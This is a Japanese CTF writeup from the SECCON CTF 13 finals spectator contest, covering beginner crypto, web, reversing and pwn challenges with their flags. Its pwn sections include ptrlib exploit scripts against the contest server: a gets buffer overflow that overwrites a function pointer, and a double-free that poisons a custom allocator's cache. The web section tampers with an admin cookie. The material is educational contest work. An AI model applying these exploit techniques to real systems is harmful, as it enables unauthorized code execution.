# SECCON CTF 13 決勝観戦CTF Writeup

かなり久しぶりにCTFに参加できた[<sup>1</sup>](#ft1)ので、初めてWriteupを書いてみようと思います。

# 解けた問題

## Welcome

> SECCON CTF 13 決勝観戦CTFへようこそ！  
> Flag: `Alpaca{welcome_to_seccon_ctf_13_finals_booth}`
> 
> ### \[重要\] 初心者の方への補足
> 
> このCTFには、Pwn, Rev, Crypto, Web, Misc の5カテゴリーから約20の問題があります。 CTF 開始時は、大雑把ではありますが、運営が想定した難易度順に問題が並んでいます。 **特に初心者向けである問題に Beginner カテゴリーを明示的につけています。** まずは Beginner 問をいくつか見てみて、興味があるものから解いてみるのがおすすめです。
> 
> 開始時は運営が想定した難易度順に並んでいますが、問題が解かれ始めると、解かれた数（solves）の多い順に問題が並びます。 solves の多い問題は取り組みやすいことが多く、逆に solves が少ない問題は経験者も解くのが難しいものかもしれません。 初心者向けとはいっても、「典型的である」という理由で難易度の高い問題も出題しています。
> 
> ChatGPT 等の AI の使用は全く問題なく、**少しでも詰まったら AI を活用することを推奨** します。 とにかく手を動かしてわからない箇所を調べてみましょう！
> 
> ### パソコンがない方へ
> 
> [モバイル環境でCTFに挑戦できる Google](https://colab.research.google.com/drive/1TpbBCnkBqRQijCNzHjolFPsmZR4lyXB_?usp=sharing) [Colab ノートブックを用意しています。 必要に応じて使用してください](https://colab.research.google.com/drive/1TpbBCnkBqRQijCNzHjolFPsmZR4lyXB_?usp=sharing)。 少なくとも Beginner 問は、このノートブックを使用して数行で解けることを確認済みです。

問題文にFlagがあります。

*Alpaca{welcome\_to\_seccon\_ctf\_13\_finals\_booth}*

## Long Flag

> 出力からフラグを復元してください🐍
> 
> ```python
> import os
> from Crypto.Util.number import bytes_to_long
> 
> print(bytes_to_long(os.getenv("FLAG").encode()))
> ```
> 
> 出力:
> 
> ```plaintext
> 35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085
> ```

Flagが`bytes_to_long`されて渡されます。`long_to_bytes`でもとに戻してあげればOK。

```python
from Crypto.Util.number import long_to_bytes

o = 35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085
print(long_to_bytes(o)) # Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}
```

*Alpaca{LO00OO000O00OOOO0O00OOO00O000OOONG}*

## 🍪

> ある条件を満たすとフラグが得られるようです
> 
> ```javascript
> import Fastify from "fastify";
> import fastifyCookie from "@fastify/cookie";
> 
> const fastify = Fastify();
> fastify.register(fastifyCookie);
> 
> fastify.get("/", async (req, reply) => {
>   reply.setCookie('admin', 'false', { path: '/', httpOnly: true });
>   if (req.cookies.admin === "true")
>     reply.header("X-Flag", process.env.FLAG);
>   return "can you get the flag?";
> });
> 
> fastify.listen({ port: process.env.PORT, host: "0.0.0.0" });
> ```

Webサイトにアクセスすると、`admin=false`というcookieが渡されます。ソースコードによれば、`admin=true`のときにFlagが返されるようです。

Burp Suiteなどのローカルプロキシを用いても良いですが、ここでは簡単にブラウザで攻撃してみましょう。Firefoxでは、Web developer toolsのStrage欄で、cookieの読み書きができます。ここで、`admin`をtrueに書き換え、Network欄を見ながらサイトをリロードしてあげます。すると、Response HeaderにFlagが出てきます。

余談ですが、私はX-FlagでFlagが返されることを読み飛ばしており、時間を無駄にしてしまいました…

*Alpaca{7h3\_n4m3\_c0m35\_fr0m\_B3cky}*

## Beginner's Flag Printer

> フラグを出力するアセンブリです🤖
> 
> ```python
> .LC0:
>         .string "Alpaca{%x}\n"
> main:
>         push    rbp
>         mov     rbp, rsp
>         sub     rsp, 16
>         mov     DWORD PTR [rbp-4], 539232261
>         mov     eax, DWORD PTR [rbp-4]
>         mov     esi, eax
>         mov     edi, OFFSET FLAT:.LC0
>         mov     eax, 0
>         call    printf
>         mov     eax, 0
>         leave
>         ret
> ```

渡されたアセンブリの頭に`"Alpaca{%x}\n"`なる文字列があるので、`%x`に渡される数字を特定すれば良さそうです。

ここで、少し下に`539232261`なる怪しい数字が見えます。16進数にしてあげると`20240805`であり、これがFlagとなります。

*Alpaca{20240805}*

## parseInt

> `a < b && parseInt(a) > parseInt(b)` となるような `a`, `b` を見つけてください🐟
> 
> ```javascript
> const rl = require("node:readline").createInterface({
>     input: process.stdin,
>     output: process.stdout,
> });
> 
> rl.question("Input a,b: ", input => {
>     const [a, b] = input.toString().trim().split(",").map(Number);
>     if (a < b && parseInt(a) > parseInt(b))
>         console.log(process.env.FLAG);
>     else
>         console.log(":(");
>     rl.close();
> });
> ```

問題文にある通り、`a < b`かつ`parseInt(a) > parseInt(b)`である`a`と`b`を探します。

こういったときは、とりあえず大きな数を入力してみましょう。parseIntに`1000000000000000000000`を渡すと、1が返ってきました。そこで、`a = 2`, `b = 1000000000000000000000`を入力してあげると、Flagが入手できます。

*Alpaca{..ww.w....&lt;')))&gt;&lt;.~~~}*

## trippple

> 出力からフラグを復元してください🐍
> 
> ```python
> import os
> from Crypto.Util.number import getPrime, bytes_to_long
> 
> m = bytes_to_long(os.getenv("FLAG").encode())
> p = getPrime(96)
> n = p * p * p
> e = 65537
> c = pow(m, e, n)
> 
> print(f"{n,c=}")
> ```
> 
> 出力:
> 
> ```python
> n,c=(272361880253535445317143279209232620259509770172080133049487958853930525983846305005657, 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184)
> ```

RSA暗号で、nがpの3乗となっています。

とりあえず、\\(p = n^{1/3}\\)としてpが求められます。ここで、\\(\phi(n) = p^2 (p - 1)\\)となるので、あとはいつもどおり復号することができます。

```python
$ sage -q
from Crypto.Util.number import long_to_bytes
n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657
c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184
e = 65537
p = n^(1/3)
phi = p^2 * (p - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
long_to_bytes(m) # b'Alpaca{h1t&4w4y_k4nzum3}'
```

*Alpaca{h1t&4w4y\_k4nzum3}*

## danger of buffer overflow

> 危険です

`gets(buf)`を呼んでおり、明らかにBuffer Overflowを起こせますね。

おあつらえむきに、`buf`の下に関数ポインタがあります。`win`関数のアドレスももらえるようなので、関数ポインタに`win`のアドレスを入れてあげましょう。

```python
from ptrlib import *

r = remote("34.170.146.252", 24310)

r.recvuntil("address of print_flag func: ")
win_ptr = int(r.recvline()[2:], 16)
logger.info(f"win_ptr: {hex(win_ptr)}")
r.sendlineafter("gets to buf: ", b"A" * 8 + p64(win_ptr))

r.interactive()
```

*Alpaca{1\_r3ally\_d0nt\_w4nt\_t0\_us3\_g3t5}*

## play with memory

> 1, 2, 3, 4, 5!

`12345`と解釈されるバイト列を送るとFlagをもらえます。エンディアンに気をつけながら送信しましょう。

```python
from ptrlib import *

r = remote("34.170.146.252", 57944)

r.sendlineafter("input your number!: ", b"\x39\x30") # 0x3039 = 12345

r.interactive()
```

*Alpaca{l1ttl3\_end1an\_1s\_qu1t3\_h4rd\_t0\_us3d\_t0}*

## 42

> 出力からフラグを復元してください🐍
> 
> ```python
> import os
> from Crypto.Util.number import getPrime, bytes_to_long
> 
> x = bytes_to_long(os.getenv("FLAG").encode())
> for _ in range(42):
>     x *= getPrime(42)
> print(x)
> ```
> 
> 出力:
> 
> ```python
> 1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387
> ```

Flagが42bitの適当な素数42個と掛けられています。

素因数分解してあげると、42bitの素数が42個と、明らかに42bit以下、以上の素数が出てきます。42bitでない数を掛け合わせたものがFlagだと推定できます。

```python
$ sage
from Crypto.Util.number import long_to_bytes
x = 1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387
factor(x) # 3 * 23 * 2205496470181 * 2219555763769 * 2233425033163 * 2239061295271 * 2259023796727 * 2284404776567 * 2291370145123 * 2416633488457 * 2419508288471 * 2434758174067 * 2500841090549 * 2503738093453 * 2573045476847 * 2680923822481 * 2778916602433 * 2788061078027 * 2796482148853 * 2874516939989 * 3132015040537 * 3139228584347 * 3155640636023 * 3194390562137 * 3284689931333 * 3395646793247 * 3450918694961 * 3542857468897 * 3558548169959 * 3723346041941 * 3734921299007 * 3741754738429 * 3881331302137 * 3955397572079 * 3975840251293 * 4072584462841 * 4130457980197 * 4158189715259 * 4194605058227 * 4207350753019 * 4244137496801 * 4299476105167 * 4327600625807 * 4333485694679 * 64527453873583290390233 * 360296424708927327075211324489217
c = 3 * 23 * 64527453873583290390233 * 360296424708927327075211324489217
long_to_bytes(c) # b'Alpaca{42_is_6_times_7.}'
```

*Alpaca{42\_is\_6\_times\_7.}*

## Can U Keep A Secret?

> Or ...?
> 
> ```c
> #include <stdio.h>
> #include <stdlib.h>
> #include <time.h>
> #include <unistd.h>
> 
> int main() {
>     srand(time(NULL));
>     unsigned int secret = rand(), input;
>     printf("secret: %u\n", secret);
> 
>     // can u keep a secret??/
>     secret *= rand();
>     secret *= 0x5EC12E7;
>     scanf("%u", &input);
>     if(input == secret)
>         printf("Alpaca{REDACTED}\n");
>     return 0;
> }
> ```

乱数が与えられたあと、それに新たな乱数と固定値を掛けた値をあてることができればFlagをもらえる**ようにみえますが、**実際には異なります。

与えられたソースコードの11行目のコメントの末尾が`??/`となっていますが、これをtrigraph(一部の記号をISO 646に含まれる文字のみで表す方法)として解釈すると、`\`となります。trigraphはc++14まではデフォルトで有効でしたが、c++17からは明示的に`-trigraphs`を与えないと無効となりました[<sup>2</sup>](#ft1)。

今回のバイナリは、ディスアセンブラを通すとわかる通り、trigraphが有効になっており、ソースコード12行目の`secret *= rand()`の処理が消えています。そこで、単純に、与えられた`secret`に`0x5EC12E7`をかければ良いです。`secret`はint型なので、オーバーフローを考慮してあげましょう。

私はtrigraphを知らなかったので、なかなか答えが合わず時間をかけてしまいました…

```python
from ptrlib import *

r = remote("34.170.146.252", 59556)

r.recvuntil("secret: ")
secret = int(r.recvline())
logger.info(f"secret: {secret}")

new_secret = (secret * 0x5EC12E7) & 0xFFFFFFFF
logger.info(f"new_secret: {new_secret}")

r.sendline(str(new_secret))

r.interactive()
```

*Alpaca{u\_r\_pwn\_h3r0}*

## **cache crasher**

> tapioca rice

オレオレmallocの問題です。`free`するときに必要な確認を怠っており、double-freeが可能なことが脆弱性です。

`cache`の動きを詳細に追ってみましょう。

始めに`alloc`を呼びます。このとき、まだ`cache`には何も繋がれていません。

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741184425255/3fb1b45b-5925-4b00-afbd-0bdf7ec57fb3.jpeg align="center")

`free(0)`を呼ぶと、`cache`には`buf[0]`が繋がれます。

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741184447842/43d85406-290c-4368-ae91-3ba6476e9430.jpeg align="center")

ここでもう一度`free(0)`を呼んでみましょう。すると、`buf[0].next_chink`が自分自身を指すようになります。

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741184466412/d48c78ba-1c8c-405f-b123-9cf3f8715458.jpeg align="center")

この状態で`alloc`を呼び、`0xdeadbeef`を入力してみましょう。

chunkはUnion型なので、`buf[0].next_chunk`が`buf[0].val`と重なっており、`buf[0].val`に入力した値が`buf[0].next_chunk`に入ることに気をつけます。

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741184485917/6feeffba-3ae0-4ff5-a04f-f0ddee32b489.jpeg align="center")

`cache`に任意アドレスを繋げられました。`alloc`を呼びましょう。

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1741184501758/1be363f3-1bf4-4f8c-b33e-c083e56fa4c6.jpeg align="center")

`cache`が入力したアドレスを指すようになりました。この状態で`alloc`を呼ぶことで、`0xdeadbeef`へ書き込みできます。

今回は`func_ptr`が用意されているので、そこに`print_flag`のアドレスを入力できればFlagを入手できます。

```python
from ptrlib import *

def alloc(val):
    r.sendlineafter("opcode(0: alloc, 1: free): ", "0")
    r.sendlineafter("data(integer): ", str(val))

def free(ind):
    r.sendlineafter("opcode(0: alloc, 1: free): ", "1")
    r.sendlineafter("what index to free: ", str(ind))

r = remote("34.170.146.252", 45969)

r.recvuntil("address of print_flag: ")
print_flag = int(r.recvline()[2:], 16)
logger.info(f"print_flag: {hex(print_flag)}")
r.recvuntil("address of funcptr: ")
func_ptr = int(r.recvline()[2:], 16)
logger.info(f"func_ptr: {hex(func_ptr)}")

alloc(0xcafebafe)
free(0)
free(0)
alloc(func_ptr)
alloc(0xcafebafe)
alloc(print_flag)

r.interactive()
```

*Alpaca{ar1g4t0u\_alloc4t0r}*

# 解けなかった問題

## Flag Printer

> フラグを出力するアセンブリです🤖

こういった問題はAIが得意そうと思って投げてみたのですが、間違ったFlagしか教えてもらえませんでした。しかしsatokiさんの[writeup](https://github.com/satoki/ctf_writeups/tree/master/SECCON_CTF_13_%E6%B1%BA%E5%8B%9D%E8%A6%B3%E6%88%A6CTF/Flag_Printer)によればChatGPTで解けるらしいので、プロンプトの問題かもしれません。

## Alpaca Wakekko

> al al al al paca paca paca paca

軽く読んだだけでタイムアップだったので、あとでupsolveしたいですね。

`gets`や`system`を呼んでいるので、それらをうまく使うのかな？

# まとめ

これまでオンサイトでのCTFに出たことがなかったので、SECCONの雰囲気を感じながら他の競技者の方と問題を解けて楽しかったです。CTFへのモチベーションも上がりました。

このように貴重な企画を運営し、問題等を準備してくださった皆様、ありがとうございました。

---

1. 実は、最後に時間を取って参加できたのは、約1年前のPico CTFだったりします。この春休みにはしっかり時間をとって参加したいという機運があります。
    
2. [https://developers.redhat.com/articles/2021/08/06/porting-your-code-c17-gcc-11#](https://developers.redhat.com/articles/2021/08/06/porting-your-code-c17-gcc-11#)
    

---
